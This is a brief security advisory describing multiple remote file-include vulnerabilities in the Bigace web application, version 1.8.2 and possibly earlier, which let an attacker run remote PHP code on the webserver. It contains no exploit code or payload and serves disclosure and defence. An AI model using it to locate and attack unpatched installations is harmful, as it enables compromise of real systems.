Bigace is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. 
  
An attacker can exploit these issues to include arbitrary remote PHP code and execute it in the context of the webserver process. 
  
A successful exploit may lead to a compromise of the underlying system; other attacks are also possible.
  
Version 1.8.2 of Bigace is known to be vulnerable; previous versions may be affected as well.
